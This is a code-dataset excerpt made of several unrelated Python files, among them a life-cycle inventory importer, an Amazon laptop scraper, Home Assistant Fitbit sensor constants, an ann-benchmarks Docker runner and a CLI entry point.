self,\n database,\n version_in,\n version_out,\n path,\n system_model,\n keep_uncertainty_data,\n ):\n super().__init__(\n database, version_in, version_out, path, system_model, keep_uncertainty_data\n )\n\n def load_inventory(self, path: Union[str, Path]) -> bw2io.ExcelImporter:\n return ExcelImporter(path)\n\n def prepare_inventory(self) -> None:\n if self.version_in != self.version_out:\n # if version_out is 3.9, migrate towards 3.8 first, then 3.9\n if self.version_out in [\"3.9\", \"3.9.1\"]:\n print(\"Migrating to 3.8 first\")\n if self.version_in != \"3.8\":\n self.import_db.migrate(\n f\"migration_{self.version_in.replace('.', '')}_38\"\n )\n self.import_db.migrate(\n f\"migration_38_{self.version_out.replace('.', '')}\"\n )\n self.import_db.migrate(\n f\"migration_{self.version_in.replace('.', '')}_{self.version_out.replace('.', '')}\"\n )\n\n if self.system_model == \"consequential\":\n self.import_db.data = (\n check_for_datasets_compliance_with_consequential_database(\n self.import_db.data, self.consequential_blacklist\n )\n )\n\n self.import_db.data = remove_categories(self.import_db.data)\n\n self.lower_case_technosphere_exchanges()\n self.add_biosphere_links()\n self.add_product_field_to_exchanges()\n\n # Remove uncertainty data\n if not self.keep_uncertainty_data:\n print(\"Remove uncertainty data.\")\n self.database = remove_uncertainty(self.database)\n\n # Check for duplicates\n self.check_for_already_existing_datasets()\n self.import_db.data = check_for_duplicate_datasets(self.import_db.data)\n\n if self.list_unlinked:\n self.display_unlinked_exchanges()\n\n\nclass VariousVehicles(BaseInventoryImport):\n \"\"\"\n Imports various future vehicles' inventories (two-wheelers, buses, trams, etc.).\n\n :ivar database: wurst database\n :ivar version_in: original ecoinvent version of the inventories\n :ivar version_out: ecoinvent version the inventories should comply with\n :ivar path: filepath of the inventories\n :ivar year: year of the database\n :ivar regions:\n :ivar model: IAM model\n :ivar scenario: IAM scenario\n :ivar vehicle_type: \"two-wheeler\", \"car, \"truck\" or \"bus\"\n :ivar relink: whether suppliers within a dataset need to be relinked\n :ivar has_fleet: whether the `vehicle_type` has associated fleet information\n \"\"\"\n\n def __init__(\n self,\n database: List[dict],\n version_in: str,\n version_out: str,\n path: Union[str, Path],\n year: int,\n regions: List[str],\n model: str,\n scenario: str,\n vehicle_type: str,\n relink: bool = False,\n has_fleet: bool = False,\n system_model: str = \"cutoff\",\n ) -> None:\n super().__init__(database, version_in, version_out, path, system_model)\n self.year = year\n self.regions = regions\n self.model = model\n self.scenario = scenario\n self.vehicle_type = vehicle_type\n self.relink = relink\n self.has_fleet = has_fleet\n self.geo = Geomap(model=model)\n\n def load_inventory(self, path):\n return ExcelImporter(path)\n\n def prepare_inventory(self):\n # if version_out is 3.9, migrate towards 3.8 first, then 3.9\n if self.version_out in [\"3.9\", \"3.9.1\"]:\n print(\"Migrating to 3.8 first\")\n if self.version_in != \"3.8\":\n self.import_db.migrate(\n f\"migration_{self.version_in.replace('.', '')}_38\"\n )\n self.import_db.migrate(f\"migration_38_{self.version_out.replace('.', '')}\")\n self.import_db.migrate(\n f\"migration_{self.version_in.replace('.', '')}_{self.version_out.replace('.', '')}\"\n )\n\n self.lower_case_technosphere_exchanges()\n self.add_biosphere_links()\n self.add_product_field_to_exchanges()\n # Check for duplicates\n self.check_for_already_existing_datasets()\n\n if self.list_unlinked:\n self.display_unlinked_exchanges()\n\n def merge_inventory(self):\n self.database.extend(self.import_db.data)\n\n # print(\"Done!\")\n\n return self.database\n\n\nclass AdditionalInventory(BaseInventoryImport):\n \"\"\"\n Import additional inventories, if any.\n \"\"\"\n\n def __init__(self, database, version_in, version_out, path, system_model):\n super().__init__(database, version_in, version_out, path, system_model)\n\n def load_inventory(self, path):\n if \"http\" in path:\n # online file\n # we need to save it locally first\n response = requests.get(path)\n Path(DATA_DIR / \"cache\").mkdir(parents=True, exist_ok=True)\n path = str(Path(DATA_DIR / \"cache\" / \"temp.csv\"))\n with open(path, \"w\", encoding=\"utf-8\") as f:\n writer = csv.writer(\n f,\n quoting=csv.QUOTE_NONE,\n delimiter=\",\",\n quotechar=\"'\",\n escapechar=\"\\\\\",\n )\n for line in response.iter_lines():\n writer.writerow(line.decode(\"utf-8\").split(\",\"))\n\n if Path(path).suffix == \".xlsx\":\n return ExcelImporter(path)\n elif Path(path).suffix == \".csv\":\n return CSVImporter(path)\n else:\n raise ValueError(\n \"Incorrect filetype for inventories.\" \"Should be either .xlsx or .csv\"\n )\n\n def remove_missing_fields(self):\n \"\"\"\n Remove any field that does not have information.\n \"\"\"\n\n for dataset in self.import_db.data:\n for key, value in list(dataset.items()):\n if not value:\n del dataset[key]\n\n def prepare_inventory(self):\n if str(self.version_in) != self.version_out:\n # if version_out is 3.9, migrate towards 3.8 first, then 3.9\n if self.version_out in [\"3.9\", \"3.9.1\"]:\n if str(self.version_in) != \"3.8\":\n print(\"Migrating to 3.8 first\")\n self.import_db.migrate(\n f\"migration_{self.version_in.replace('.', '')}_38\"\n )\n self.import_db.migrate(\n f\"migration_38_{self.version_out.replace('.', '')}\"\n )\n\n self.import_db.migrate(\n f\"migration_{self.version_in.replace('.', '')}_{self.version_out.replace('.', '')}\"\n )\n\n if self.system_model == \"consequential\":\n self.import_db.data = (\n check_for_datasets_compliance_with_consequential_database(\n self.import_db.data, self.consequential_blacklist\n )\n )\n\n list_missing_prod = self.search_missing_exchanges(\n label=\"type\", value=\"production\"\n )\n\n if len(list_missing_prod) > 0:\n print(\"The following datasets are missing a `production` exchange.\")\n print(\"You should fix those before proceeding further.\\n\")\n table = PrettyTable(\n [\"Name\", \"Reference product\", \"Location\", \"Unit\", \"File\"]\n )\n for dataset in list_missing_prod:\n table.add_row(\n [\n dataset.get(\"name\", \"XXXX\"),\n dataset.get(\"referece product\", \"XXXX\"),\n dataset.get(\"location\", \"XXXX\"),\n dataset.get(\"unit\", \"XXXX\"),\n self.path.name,\n ]\n )\n\n print(table)\n\n sys.exit()\n\n self.import_db.data = remove_categories(self.import_db.data)\n self.add_biosphere_links(delete_missing=True)\n list_missing_ref = self.search_missing_field(field=\"name\")\n list_missing_ref.extend(self.search_missing_field(field=\"reference product\"))\n list_missing_ref.extend(self.search_missing_field(field=\"location\"))\n list_missing_ref.extend(self.search_missing_field(field=\"unit\"))\n\n if len(list_missing_ref) > 0:\n print(\n \"The following datasets are missing an important field \"\n \"(`name`, `reference product`, `location` or `unit`).\\n\"\n )\n\n print(\"You should fix those before proceeding further.\\n\")\n table = PrettyTable(\n [\"Name\", \"Reference product\", \"Location\", \"Unit\", \"File\"]\n )\n for dataset in list_missing_ref:\n table.add_row(\n [\n dataset.get(\"name\", \"XXXX\"),\n dataset.get(\"referece product\", \"XXXX\"),\n dataset.get(\"location\", \"XXXX\"),\n dataset.get(\"unit\", \"XXXX\"),\n self.path.name,\n ]\n )\n\n print(table)\n\n if len(list_missing_prod) > 0 or len(list_missing_ref) > 0:\n sys.exit()\n\n self.remove_missing_fields()\n self.add_product_field_to_exchanges()\n # Check for duplicates\n self.check_for_already_existing_datasets()\n self.import_db.data = check_for_duplicate_datasets(self.import_db.data)\n # check numbers format\n self.import_db.data = check_amount_format(self.import_db.data)\n\n if self.list_unlinked:\n self.display_unlinked_exchanges()\n","sub_path":"premise/inventory_imports.py","file_name":"inventory_imports.py","file_ext":"py","file_size_in_byte":33654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"79959774","text":"\"\"\"\nThis is a copy of functions.py with a little change in the first function with the implementation of grequests.\nIt is still in progress.\nAuthors:\nAviv and Serah\n\"\"\"\nimport grequests\nimport scraper_class\nfrom laptop_class import *\nimport config\nimport random\nfrom bs4 import BeautifulSoup\nimport time\n\npages = config.NOPAGES\n\nDB_FILENAME = config.DB_FILENAME\nproxies_list = config.PROXIES_LIST\n\n\ndef search_results(no_pages):\n new_laptop = []\n total_laptop = []\n my_urls = []\n for count in range(1, 20):\n my_urls.append(f'https://www.amazon.com/s?k=laptops&page={count}&qid=1594392240&ref=sr_pg_{count}')\n proxy = {'http': random.choice(proxies_list)}\n rs = (grequests.get(u, headers={\"user-agent\": config.HEADERS}, proxies=proxy) for u in my_urls)\n for r in grequests.imap(rs, size=10):\n content = r.content\n soup = BeautifulSoup(content, features=\"lxml\")\n scraper = scraper_class.SearchPage(soup)\n laptop_list = scraper.get_data()\n for lap in laptop_list:\n if lap.if_exist():\n lap.update_db('Price', 'Rating', 'Reviews')\n else:\n lap.add_to_db()\n new_laptop.append(lap.get_arg_db('Product_name', 'Laptop_id', 'Link'))\n for lap in laptop_list:\n total_laptop.append(lap.get_arg_db('Laptop_id', 'Link'))\n\n print(str(round(100 * 1 / no_pages)) + '% of the search page has been downloaded')\n return new_laptop, total_laptop\n\n\ndef features_laptop(new_laptop):\n val = 0\n for count, new in enumerate(new_laptop):\n feat = scraper_class.Parameters(config.AMAZON + new[0][2])\n laptop = feat.get_param()\n if laptop is not None:\n laptop.add_to_db(new[0][0], new[0][1], new[0][2])\n\n if round(count * 100 / len(new_laptop)) % 5 == 0 and round(count * 100 / len(new_laptop)) != val:\n val = round(count * 100 / len(new_laptop))\n print(str(val) + '% of the laptop features has been downloaded')\n\n\ndef valid_features():\n with contextlib.closing(sqlite3.connect(DB_FILENAME)) as con: # auto-closes\n with con:\n cur = con.cursor()\n cur.execute(\"SELECT Link, Laptop_id FROM laptop_features WHERE Valid=0\")\n db_output = [item for item in cur.fetchall()]\n for my_url in db_output:\n feat = scraper_class.Parameters(config.AMAZON + my_url[0])\n laptop = feat.get_param()\n laptop.update_db(my_url[1])\n\n\ndef reviews(total_laptop):\n val = 0\n for count, new in enumerate(total_laptop):\n rev = scraper_class.Reviews(config.AMAZON + new[0][1])\n laptop = rev.get_reviews()\n for lap in laptop:\n if lap is not None:\n if not lap.if_exist():\n lap.add_to_db(new[0][0])\n\n if round(count * 100 / len(total_laptop)) % 5 == 0 and round(count * 100 / len(total_laptop)) != val:\n val = round(count * 100 / len(total_laptop))\n print(str(val) + '% of the reviews has been downloaded')\n\n\ndef profile():\n with contextlib.closing(sqlite3.connect(DB_FILENAME)) as con: # auto-closes\n with con:\n cur = con.cursor()\n cur.execute(\"SELECT Profile_link FROM reviews\")\n db_output = [item for item in cur.fetchall()]\n return db_output\n\n\ndef retrieve_profile(db_output):\n pro = scraper_class.ProfileScrapper(db_output[0])\n p = pro.user_profile()\n if p.if_exist():\n p.update_db()\n\n else:\n p.add_to_db()\n\n\nbefore = time.time()\nlaptops = search_results(pages)\nafter = time.time()\nprint(after - before)\n","sub_path":"gresquests_test_not_ready/new.py","file_name":"new.py","file_ext":"py","file_size_in_byte":3642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"108983931","text":"\"\"\"Constants for the Fitbit platform.\"\"\"\nfrom __future__ import annotations\n\nfrom dataclasses import dataclass\nfrom typing import Final\n\nfrom homeassistant.components.sensor import SensorEntityDescription\nfrom homeassistant.const import (\n CONF_CLIENT_ID,\n CONF_CLIENT_SECRET,\n LENGTH_FEET,\n MASS_KILOGRAMS,\n MASS_MILLIGRAMS,\n PERCENTAGE,\n TIME_MILLISECONDS,\n TIME_MINUTES,\n)\n\nATTR_ACCESS_TOKEN: Final = \"access_token\"\nATTR_REFRESH_TOKEN: Final = \"refresh_token\"\nATTR_LAST_SAVED_AT: Final = \"last_saved_at\"\n\nATTR_DURATION: Final = \"duration\"\nATTR_DISTANCE: Final = \"distance\"\nATTR_ELEVATION: Final = \"elevation\"\nATTR_HEIGHT: Final = \"height\"\nATTR_WEIGHT: Final = \"weight\"\nATTR_BODY: Final = \"body\"\nATTR_LIQUIDS: Final = \"liquids\"\nATTR_BLOOD_GLUCOSE: Final = \"blood glucose\"\nATTR_BATTERY: Final = \"battery\"\n\nCONF_MONITORED_RESOURCES: Final = \"monitored_resources\"\nCONF_CLOCK_FORMAT: Final = \"clock_format\"\nATTRIBUTION: Final = \"Data provided by Fitbit.com\"\n\nFITBIT_AUTH_CALLBACK_PATH: Final = \"/api/fitbit/callback\"\nFITBIT_AUTH_START: Final = \"/api/fitbit\"\nFITBIT_CONFIG_FILE: Final = \"fitbit.conf\"\nFITBIT_DEFAULT_RESOURCES: Final[list[str]] = [\"activities/steps\"]\n\nDEFAULT_CONFIG: Final[dict[str, str]] = {\n CONF_CLIENT_ID: \"CLIENT_ID_HERE\",\n CONF_CLIENT_SECRET: \"CLIENT_SECRET_HERE\",\n}\nDEFAULT_CLOCK_FORMAT: Final = \"24H\"\n\n\n@dataclass\nclass FitbitRequiredKeysMixin:\n \"\"\"Mixin for required keys.\"\"\"\n\n unit_type: str | None\n\n\n@dataclass\nclass FitbitSensorEntityDescription(SensorEntityDescription, FitbitRequiredKeysMixin):\n \"\"\"Describes Fitbit sensor entity.\"\"\"\n\n\nFITBIT_RESOURCES_LIST: Final[tuple[FitbitSensorEntityDescription, ...]] = (\n FitbitSensorEntityDescription(\n key=\"activities/activityCalories\",\n name=\"Activity Calories\",\n unit_type=\"cal\",\n icon=\"mdi:fire\",\n ),\n FitbitSensorEntityDescription(\n key=\"activities/calories\",\n name=\"Calories\",\n unit_type=\"cal\",\n icon=\"mdi:fire\",\n ),\n FitbitSensorEntityDescription(\n key=\"activities/caloriesBMR\",\n name=\"Calories BMR\",\n unit_type=\"cal\",\n icon=\"mdi:fire\",\n ),\n FitbitSensorEntityDescription(\n key=\"activities/distance\",\n name=\"Distance\",\n unit_type=\"\",\n icon=\"mdi:map-marker\",\n ),\n FitbitSensorEntityDescription(\n key=\"activities/elevation\",\n name=\"Elevation\",\n unit_type=\"\",\n icon=\"mdi:walk\",\n ),\n FitbitSensorEntityDescription(\n key=\"activities/floors\",\n name=\"Floors\",\n unit_type=\"floors\",\n icon=\"mdi:walk\",\n ),\n FitbitSensorEntityDescription(\n key=\"activities/heart\",\n name=\"Resting Heart Rate\",\n unit_type=\"bpm\",\n icon=\"mdi:heart-pulse\",\n ),\n FitbitSensorEntityDescription(\n key=\"activities/minutesFairlyActive\",\n name=\"Minutes Fairly Active\",\n unit_type=TIME_MINUTES,\n icon=\"mdi:walk\",\n ),\n FitbitSensorEntityDescription(\n key=\"activities/minutesLightlyActive\",\n name=\"Minutes Lightly Active\",\n unit_type=TIME_MINUTES,\n icon=\"mdi:walk\",\n ),\n FitbitSensorEntityDescription(\n key=\"activities/minutesSedentary\",\n name=\"Minutes Sedentary\",\n unit_type=TIME_MINUTES,\n icon=\"mdi:seat-recline-normal\",\n ),\n FitbitSensorEntityDescription(\n key=\"activities/minutesVeryActive\",\n name=\"Minutes Very Active\",\n unit_type=TIME_MINUTES,\n icon=\"mdi:run\",\n ),\n FitbitSensorEntityDescription(\n key=\"activities/steps\",\n name=\"Steps\",\n unit_type=\"steps\",\n icon=\"mdi:walk\",\n ),\n FitbitSensorEntityDescription(\n key=\"activities/tracker/activityCalories\",\n name=\"Tracker Activity Calories\",\n unit_type=\"cal\",\n icon=\"mdi:fire\",\n ),\n FitbitSensorEntityDescription(\n key=\"activities/tracker/calories\",\n name=\"Tracker Calories\",\n unit_type=\"cal\",\n icon=\"mdi:fire\",\n ),\n FitbitSensorEntityDescription(\n key=\"activities/tracker/distance\",\n name=\"Tracker Distance\",\n unit_type=\"\",\n icon=\"mdi:map-marker\",\n ),\n FitbitSensorEntityDescription(\n key=\"activities/tracker/elevation\",\n name=\"Tracker Elevation\",\n unit_type=\"\",\n icon=\"mdi:walk\",\n ),\n FitbitSensorEntityDescription(\n key=\"activities/tracker/floors\",\n name=\"Tracker Floors\",\n unit_type=\"floors\",\n icon=\"mdi:walk\",\n ),\n FitbitSensorEntityDescription(\n key=\"activities/tracker/minutesFairlyActive\",\n name=\"Tracker Minutes Fairly Active\",\n unit_type=TIME_MINUTES,\n icon=\"mdi:walk\",\n ),\n FitbitSensorEntityDescription(\n key=\"activities/tracker/minutesLightlyActive\",\n name=\"Tracker Minutes Lightly Active\",\n unit_type=TIME_MINUTES,\n icon=\"mdi:walk\",\n ),\n FitbitSensorEntityDescription(\n key=\"activities/tracker/minutesSedentary\",\n name=\"Tracker Minutes Sedentary\",\n unit_type=TIME_MINUTES,\n icon=\"mdi:seat-recline-normal\",\n ),\n FitbitSensorEntityDescription(\n key=\"activities/tracker/minutesVeryActive\",\n name=\"Tracker Minutes Very Active\",\n unit_type=TIME_MINUTES,\n icon=\"mdi:run\",\n ),\n FitbitSensorEntityDescription(\n key=\"activities/tracker/steps\",\n name=\"Tracker Steps\",\n unit_type=\"steps\",\n icon=\"mdi:walk\",\n ),\n FitbitSensorEntityDescription(\n key=\"body/bmi\",\n name=\"BMI\",\n unit_type=\"BMI\",\n icon=\"mdi:human\",\n ),\n FitbitSensorEntityDescription(\n key=\"body/fat\",\n name=\"Body Fat\",\n unit_type=PERCENTAGE,\n icon=\"mdi:human\",\n ),\n FitbitSensorEntityDescription(\n key=\"body/weight\",\n name=\"Weight\",\n unit_type=\"\",\n icon=\"mdi:human\",\n ),\n FitbitSensorEntityDescription(\n key=\"sleep/awakeningsCount\",\n name=\"Awakenings Count\",\n unit_type=\"times awaken\",\n icon=\"mdi:sleep\",\n ),\n FitbitSensorEntityDescription(\n key=\"sleep/efficiency\",\n name=\"Sleep Efficiency\",\n unit_type=PERCENTAGE,\n icon=\"mdi:sleep\",\n ),\n FitbitSensorEntityDescription(\n key=\"sleep/minutesAfterWakeup\",\n name=\"Minutes After Wakeup\",\n unit_type=TIME_MINUTES,\n icon=\"mdi:sleep\",\n ),\n FitbitSensorEntityDescription(\n key=\"sleep/minutesAsleep\",\n name=\"Sleep Minutes Asleep\",\n unit_type=TIME_MINUTES,\n icon=\"mdi:sleep\",\n ),\n FitbitSensorEntityDescription(\n key=\"sleep/minutesAwake\",\n name=\"Sleep Minutes Awake\",\n unit_type=TIME_MINUTES,\n icon=\"mdi:sleep\",\n ),\n FitbitSensorEntityDescription(\n key=\"sleep/minutesToFallAsleep\",\n name=\"Sleep Minutes to Fall Asleep\",\n unit_type=TIME_MINUTES,\n icon=\"mdi:sleep\",\n ),\n FitbitSensorEntityDescription(\n key=\"sleep/startTime\",\n name=\"Sleep Start Time\",\n unit_type=None,\n icon=\"mdi:clock\",\n ),\n FitbitSensorEntityDescription(\n key=\"sleep/timeInBed\",\n name=\"Sleep Time in Bed\",\n unit_type=TIME_MINUTES,\n icon=\"mdi:hotel\",\n ),\n)\n\nFITBIT_RESOURCE_BATTERY = FitbitSensorEntityDescription(\n key=\"devices/battery\",\n name=\"Battery\",\n unit_type=None,\n icon=\"mdi:battery\",\n)\n\nFITBIT_RESOURCES_KEYS: Final[list[str]] = [\n desc.key for desc in (*FITBIT_RESOURCES_LIST, FITBIT_RESOURCE_BATTERY)\n]\n\nFITBIT_MEASUREMENTS: Final[dict[str, dict[str, str]]] = {\n \"en_US\": {\n ATTR_DURATION: TIME_MILLISECONDS,\n ATTR_DISTANCE: \"mi\",\n ATTR_ELEVATION: LENGTH_FEET,\n ATTR_HEIGHT: \"in\",\n ATTR_WEIGHT: \"lbs\",\n ATTR_BODY: \"in\",\n ATTR_LIQUIDS: \"fl. oz.\",\n ATTR_BLOOD_GLUCOSE: f\"{MASS_MILLIGRAMS}/dL\",\n ATTR_BATTERY: \"\",\n },\n \"en_GB\": {\n ATTR_DURATION: TIME_MILLISECONDS,\n ATTR_DISTANCE: \"kilometers\",\n ATTR_ELEVATION: \"meters\",\n ATTR_HEIGHT: \"centimeters\",\n ATTR_WEIGHT: \"stone\",\n ATTR_BODY: \"centimeters\",\n ATTR_LIQUIDS: \"milliliters\",\n ATTR_BLOOD_GLUCOSE: \"mmol/L\",\n ATTR_BATTERY: \"\",\n },\n \"metric\": {\n ATTR_DURATION: TIME_MILLISECONDS,\n ATTR_DISTANCE: \"kilometers\",\n ATTR_ELEVATION: \"meters\",\n ATTR_HEIGHT: \"centimeters\",\n ATTR_WEIGHT: MASS_KILOGRAMS,\n ATTR_BODY: \"centimeters\",\n ATTR_LIQUIDS: \"milliliters\",\n ATTR_BLOOD_GLUCOSE: \"mmol/L\",\n ATTR_BATTERY: \"\",\n },\n}\n\nBATTERY_LEVELS: Final[dict[str, int]] = {\n \"High\": 100,\n \"Medium\": 50,\n \"Low\": 20,\n \"Empty\": 0,\n}\n","sub_path":"homeassistant/components/fitbit/const.py","file_name":"const.py","file_ext":"py","file_size_in_byte":8724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"453846049","text":"import datetime\n\ndays = [1, 3, 7, 21, 30, 45, 60]\n\n\nx = datetime.date.today() ##Have to change formating\n\n##Can make the rest of the code in for loops\n#Displays the required dates\nfor i in days:\n m = datetime.timedelta(i) #Contains all the fromating to treat datetime etc. like integers\n x = x-m\n print(x)\n print(\"\")\n input(\"Press enter when done to proceed to the next\")\n print(\"\")\n\ninput('Press ENTER to exit')\n\n","sub_path":"python_implementation/python_implementation.py","file_name":"python_implementation.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"147423424","text":"import argparse\nimport datetime\nimport colors\nimport docker\nimport json\nimport multiprocessing\nimport numpy\nimport os\nimport psutil\nimport requests\nimport sys\nimport threading\nimport time\n\n\nfrom ann_benchmarks.datasets import get_dataset, DATASETS\nfrom ann_benchmarks.algorithms.definitions import (Definition,\n instantiate_algorithm,\n get_algorithm_name)\nfrom ann_benchmarks.distance import metrics, dataset_transform\nfrom ann_benchmarks.results import store_results\n\n\ndef run_individual_query(algo, X_train, X_test, distance, count, run_count,\n batch):\n prepared_queries = \\\n (batch and hasattr(algo, \"prepare_batch_query\")) or \\\n ((not batch) and hasattr(algo, \"prepare_query\"))\n\n best_search_time = float('inf')\n for i in range(run_count):\n print('Run %d/%d...' % (i + 1, run_count))\n # a bit dumb but can't be a scalar since of Python's scoping rules\n n_items_processed = [0]\n\n def single_query(v):\n if prepared_queries:\n algo.prepare_query(v, count)\n start = time.time()\n algo.run_prepared_query()\n total = (time.time() - start)\n candidates = algo.get_prepared_query_results()\n else:\n start = time.time()\n candidates = algo.query(v, count)\n total = (time.time() - start)\n\n return (total, v, candidates)\n\n def batch_query(X):\n if prepared_queries:\n algo.prepare_batch_query(X, count)\n start = time.time()\n algo.run_batch_query()\n total = (time.time() - start)\n else:\n start = time.time()\n algo.batch_query(X, count)\n total = (time.time() - start)\n results = algo.get_batch_results()\n candidates = [[(int(idx), float(metrics[distance]['distance'](v, X_train[idx]))) # noqa\n for idx in single_results]\n for v, single_results in zip(X, results)]\n return [(total / float(len(X)), v) for v in candidates]\n\n def get_candidates(result):\n total, v, ids = result\n candidates = [(int(idx), float(metrics[distance]['distance'](v, X_train[idx]))) # noqa\n for idx in ids]\n n_items_processed[0] += 1\n if n_items_processed[0] % 1000 == 0:\n print('Processed %d/%d queries...' %\n (n_items_processed[0], len(X_test)))\n if len(candidates) > count:\n print('warning: algorithm %s returned %d results, but count'\n ' is only %d)' % (algo, len(candidates), count))\n return (total, candidates)\n\n if batch:\n results = batch_query(X_test)\n handle_time = 0\n else:\n query_list = [single_query(x) for x in X_test]\n handle_time, handled_list = algo.handle_query_list_result(query_list)\n results = [get_candidates(l) for l in handled_list]\n\n total_time = sum(time for time, _ in results) + handle_time\n total_candidates = sum(len(candidates) for _, candidates in results)\n search_time = total_time / len(X_test)\n avg_candidates = total_candidates / len(X_test)\n best_search_time = min(best_search_time, search_time)\n\n verbose = hasattr(algo, \"query_verbose\")\n attrs = {\n \"batch_mode\": batch,\n \"best_search_time\": best_search_time,\n \"candidates\": avg_candidates,\n \"expect_extra\": verbose,\n \"name\": str(algo),\n \"run_count\": run_count,\n \"distance\": distance,\n \"count\": int(count)\n }\n additional = algo.get_additional()\n for k in additional:\n attrs[k] = additional[k]\n return (attrs, results)\n\n\ndef run(definition, dataset, count, run_count, batch):\n algo = instantiate_algorithm(definition)\n assert not definition.query_argument_groups \\\n or hasattr(algo, \"set_query_arguments\"), \"\"\"\\\nerror: query argument groups have been specified for %s.%s(%s), but the \\\nalgorithm instantiated from it does not implement the set_query_arguments \\\nfunction\"\"\" % (definition.module, definition.constructor, definition.arguments)\n\n D = get_dataset(dataset)\n X_train = numpy.array(D['train'])\n X_test = numpy.array(D['test'])\n distance = D.attrs['distance']\n print('got a train set of size (%d * %d)' % X_train.shape)\n print('got %d queries' % len(X_test))\n\n X_train = dataset_transform[distance](X_train)\n X_test = dataset_transform[distance](X_test)\n\n try:\n prepared_queries = False\n if hasattr(algo, \"supports_prepared_queries\"):\n prepared_queries = algo.supports_prepared_queries()\n\n t0 = time.time()\n memory_usage_before = algo.get_memory_usage()\n algo.fit(X_train)\n build_time = time.time() - t0\n index_size = algo.get_memory_usage() - memory_usage_before\n print('Built index in', build_time)\n print('Index size: ', index_size)\n\n query_argument_groups = definition.query_argument_groups\n # Make sure that algorithms with no query argument groups still get run\n # once by providing them with a single, empty, harmless group\n if not query_argument_groups:\n query_argument_groups = [[]]\n\n for pos, query_arguments in enumerate(query_argument_groups, 1):\n print(\"Running query argument group %d of %d...\" %\n (pos, len(query_argument_groups)))\n if query_arguments:\n algo.set_query_arguments(*query_arguments)\n descriptor, results = run_individual_query(\n algo, X_train, X_test, distance, count, run_count, batch)\n descriptor[\"build_time\"] = build_time\n descriptor[\"index_size\"] = index_size\n descriptor[\"algo\"] = get_algorithm_name(\n definition.algorithm, batch)\n descriptor[\"dataset\"] = dataset\n store_results(dataset, count, definition,\n query_arguments, descriptor, results, batch)\n finally:\n algo.done()\n\n\ndef run_from_cmdline():\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '--dataset',\n choices=DATASETS.keys(),\n required=True)\n parser.add_argument(\n '--algorithm',\n required=True)\n parser.add_argument(\n '--module',\n required=True)\n parser.add_argument(\n '--constructor',\n required=True)\n parser.add_argument(\n '--count',\n required=True,\n type=int)\n parser.add_argument(\n '--runs',\n required=True,\n type=int)\n parser.add_argument(\n '--batch',\n action='store_true')\n parser.add_argument(\n 'build')\n parser.add_argument(\n 'queries',\n nargs='*',\n default=[])\n args = parser.parse_args()\n algo_args = json.loads(args.build)\n query_args = [json.loads(q) for q in args.queries]\n\n definition = Definition(\n algorithm=args.algorithm,\n docker_tag=None, # not needed\n module=args.module,\n constructor=args.constructor,\n arguments=algo_args,\n query_argument_groups=query_args,\n disabled=False\n )\n run(definition, args.dataset, args.count, args.runs, args.batch)\n\n\ndef run_docker(definition, dataset, count, runs, timeout, batch, cpu_limit,\n mem_limit=None):\n cmd = ['--dataset', dataset,\n '--algorithm', definition.algorithm,\n '--module', definition.module,\n '--constructor', definition.constructor,\n '--runs', str(runs),\n '--count', str(count)]\n if batch:\n cmd += ['--batch']\n cmd.append(json.dumps(definition.arguments))\n cmd += [json.dumps(qag) for qag in definition.query_argument_groups]\n print('Running command', cmd)\n client = docker.from_env()\n if mem_limit is None:\n mem_limit = psutil.virtual_memory().available\n print('Memory limit:', mem_limit)\n if batch:\n cpu_limit = \"0-%d\" % (multiprocessing.cpu_count() - 1)\n print('Running on CPUs:', cpu_limit)\n\n container = client.containers.run(\n definition.docker_tag,\n cmd,\n volumes={\n os.path.abspath('ann_benchmarks'):\n {'bind': '/home/app/ann_benchmarks', 'mode': 'ro'},\n os.path.abspath('data'):\n {'bind': '/home/app/data', 'mode': 'ro'},\n os.path.abspath('results'):\n {'bind': '/home/app/results', 'mode': 'rw'},\n },\n cpuset_cpus=cpu_limit,\n mem_limit=mem_limit,\n detach=True)\n\n def stream_logs():\n for line in container.logs(stream=True):\n print(colors.color(line.decode().rstrip(), fg='blue'))\n\n if sys.version_info >= (3, 0):\n t = threading.Thread(target=stream_logs, daemon=True)\n else:\n t = threading.Thread(target=stream_logs)\n t.daemon = True\n t.start()\n try:\n exit_code = container.wait(timeout=timeout)\n\n # Exit if exit code\n if exit_code == 0:\n return\n elif exit_code is not None:\n print(colors.color(container.logs().decode(), fg='red'))\n raise Exception('Child process raised exception %d' % exit_code)\n\n finally:\n container.remove(force=True)\n","sub_path":"ann_benchmarks/runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":9544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"548767779","text":"import sys\nimport logging\nimport traceback\n\nfrom fotahubclient.cli.cli import CLI\nfrom fotahubclient.config_loader import ConfigLoader\nfrom fotahubclient.cli.command_interpreter import CommandInterpreter\n\nLOG_MESSAGE_FORMAT = '%(asctime)s %(levelname)-8s %(message)s'\nLOG_DATE_FORMAT = '%Y-%m-%d %H:%M:%S'\n\ndef main():\n config = None\n try:\n cli = CLI()\n args = cli.parse_args()\n \n config = ConfigLoader(config_path=args.config_path, verbose=args.verbose, stacktrace=args.stacktrace)\n config.load()\n\n log_level = logging.INFO if config.verbose else logging.WARNING\n logging.basicConfig(stream=sys.stdout, level=log_level, format=LOG_MESSAGE_FORMAT, datefmt=LOG_DATE_FORMAT)\n\n command_interpreter = CommandInterpreter(config)\n command_interpreter.run(args)\n except Exception as err:\n if config is not None and config.stacktrace:\n print(''.join(traceback.format_exception(type(err), err, err.__traceback__)), file=sys.stderr)\n else:\n print('ERROR: ' + str(err), file=sys.stderr)\n sys.exit(1)\n\nif __name__ == '__main__':\n main()","sub_path":"fotahubclient/cli/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"488369505","text":"from collections import OrderedDict\nimport datetime\n\n\ndef transform_project_output(result):\n table_output = []\n for item in result:\n table_output.append(_transform_project_row(item))\n return table_output\n\n\ndef _transform_project_row(row):\n table_row = OrderedDict()\n table_row['ID'] = row.id\n table_row['Name'] = row.name\n table_row['Description'] = row.description\n return table_row\n\n\ndef transform_builds_table_output(result):\n 